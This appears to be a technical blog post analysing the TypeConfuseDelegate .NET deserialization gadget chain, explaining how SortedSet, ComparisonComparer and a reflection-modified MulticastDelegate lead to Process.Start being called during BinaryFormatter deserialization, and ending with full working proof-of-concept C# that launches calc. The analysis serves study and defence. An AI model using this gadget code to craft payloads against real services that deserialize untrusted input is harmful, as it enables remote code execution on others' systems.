Analyze .NET deserialization: TypeConfuseDelegate gadget chain with BinaryFormatter
by Quang Vo
Introduction
TypeConfuseDelegate
is a gadget chain take advantage of SortedSet
class calls the comparator class to sort while deserializing, which is an input that attacker can controls and multicast delegate can modify the characteristics of delegate instance to trigger code execution during deserialization process.
In this blog, we will have 2 main sections:
- First is about
SortedSet
class and how it can be used as a gadget chain - Second is about how
MulticastDelegate
is used to help trigger code execution and why this gadget is namedTypeConfuseDelegate
1. About SortedSet class
In its simplest form, SortedSet
take a comparator as an input, and then you call Add
to add elements that you want to compare to sort
// Create a sorted set using the ByFileExtension comparer.
var set = new SortedSet<string>(new ByFileExtension());
set.Add("hello.a");
set.Add("hello.b");
In the code above, ByFileExtension
is a comparator which is inherited from IComparer<T>
interface
In this interface, it defines a method int Compare(T x, T y)
. This method is used to compare 2 objects that have the same Type.
When we call Add(T x)
for the first time, the comparator won’t be called, only after the second call to Add(T x)
, the comparator will be called ( gotta need something to compare with right ? :D )
Comparer class and ComparisonComparer type
Compaerer<T>
implements ICompare<T>
interface, in this class, we will focus on Comparer.Create()
function because that is we want to create a comparator as an input for SortedSet
class
Comparer
Comparer.Create()
returns a ComparisonComparer<T>
type
As you can see, ComparisonComparer<T>
implements Serializable
attribute and it inherited from Comparer<T>
class, so in here we have a class that:
- Can be serialized
- Is a comparator, which can be used as an input for
SortedSet
object
Please take note of this class as it will become very important for our gadget chain.
We will focus on the function that it uses to compare:
public override int Compare(T x, T y)
{
return this._comparison(x,y);
}
Where this._comparison
has a type Compasion<T>
and the type is passed in at initilization time. Let’s take a deeper look at Comparison<T>
type
public delegate int Comparison<in T>(T x, T y);
Its function signature is the same as Comparison
function and method in IComparer<T>
interface.
Sortedset OnDeserialization callback
IDeserializationCallback
interface defined OnDeserialization
method which is automatically called during deserialization process, it’s like magic method
In SortedSet.OnDeserialization()
implementation, we can see:
- It extracts a type named
Comparer
with the typeIComparer<T>
- It extracts our input when we call
Add(input)
inGetValues("Items")
So during deserialization process, when SortedSet<T>
trigger sort, it will call the comparison function in the comparator after we call Add
more than 2 times.
Idea to craft RCE payload:
Because we can control the comparison function input, we can also control the elements that we want to Add()
. If we can set the comparison function to Process.Start()
. We can achieve code execution
public static Process Start(string fileName, string arguments)
{
return Process.Start(new ProcessStartInfo(fileName, arguments));
}
Process.Start()
function return Process
type, if we replace comparison function with Process.Start()
function, it will throw error and cause serialization failure
So how do we overcome this problem ?. Turn out, we can replace the calling function with a MulticastDelegate
.
2. About MulticastDelegate to TypeConfuseDelegate gadget chain
Here is the code that use MulticastDelegate
as an input for SortedSet
class.
Let’s break it down to see what’s the magic behind all this:
MulticastDelegate
is a multicast delegation, there are 2 type of delegates in C#: Single and Multicast
In here, we call MulticastDelegate.Combine()
, it will merge all the delegates with the same type into 1 delegate instance ( see more here). When the multicast delegate is called, it invokes the delegates in the list, in order.
MulticastDelegate.Combine()
will call MulticastDelegate.CombineImpl()
internally, the function implementation is lengthy but we just need to pay attention on a few things
protected sealed override Delegate CombineImpl(Delegate follow)
{
if (follow == null)
{
return this;
}
if (!Delegate.InternalEqualTypes(this, follow))
{
throw new ArgumentException(Environment.GetResourceString("Arg_DlgtTypeMis"));
}
MulticastDelegate multicastDelegate = (MulticastDelegate)follow;
int num = 1;
object[] array = multicastDelegate._invocationList as object[];
if (array != null)
{
num = (int)multicastDelegate._invocationCount;
}
object[] array2 = this._invocationList as object[];
int num2;
object[] array3;
......
There are 2 important fields: _invocationList
and _invocationCount
_invocationCount
: is the length of_invocationList
array_invocationList
: is the array that holds all the delegate instances that need to be combined/merged
This function create a new array by extracting delegate instances from _invocationList
object[] array = multicastDelegate._invocationList as object[]
and then the function return new MulticastDelegate variable.
Looking at the code that I showed above, we are combining 2 Comparison objects with delegate type, and then we pass it to the TypeConfuseDelegate
function where we will modify the content of _invocationList
.
Delegate d = new Comparison<string>(String.Compare);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
TypeConfuseDelegate(c);
In TypeConfuseDelegate
function, by using System.Reflection
, we extract the field _invocationList
from MulticastDelegate
and replace it with a delegate instance new Func<string, string, Process>(Process.Start)
which is also a object
type, so MulticastDelegate
won’t complain about types mismatched.
object[] invoke_list = comp.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
I will place a breakpoint during the code execution to show you before and after we modify the _invocationList
element
Before:
As you can see, our combined delegate instance c
has 2 elements in _invocationList
array, they are both Comparison
objects because we called Combine(d,d)
After:
And then when we call Add()
to add 2 string objects to trigger compare
function
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("calc");
set.Add("adummy");
Where this.comparer
is ComparisonComparer
object that we passed to SortedSet
class, after calling this.Add(array[i])
, it will call this.comparer.compare(x,y)
which will lead us to:
Now, remember what I said earlier: The multicast delegate contains a list of the assigned delegates (_invocationList
). When the multicast delegate is called, it invokes the delegates in the list, in order.
Our ComparisonComparer
is a MulticastDelegate
with _invocationList
contains our Process.Start()
function that we modified earlier. During the function execution, it will eventually leads us to our final sink:
Full code:
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Threading.Tasks;
namespace DeserialzationGadgetAnalysis
{
public class Program
{
static void TypeConfuseDelegate(Comparison<string> comp)
{
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = comp.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
}
static void Main(string[] args)
{
Delegate d = new Comparison<string>(String.Compare);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
IComparer<string> comp = Comparer<string>.Create(c);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("calc");
set.Add("adummy");
TypeConfuseDelegate(c);
BinaryFormatter bf = new BinaryFormatter();
BinaryFormatter bf2 = new BinaryFormatter();
MemoryStream ms = new MemoryStream();
bf.Serialize(ms, set);
ms.Position = 0;
bf2.Deserialize(ms);
}
}
}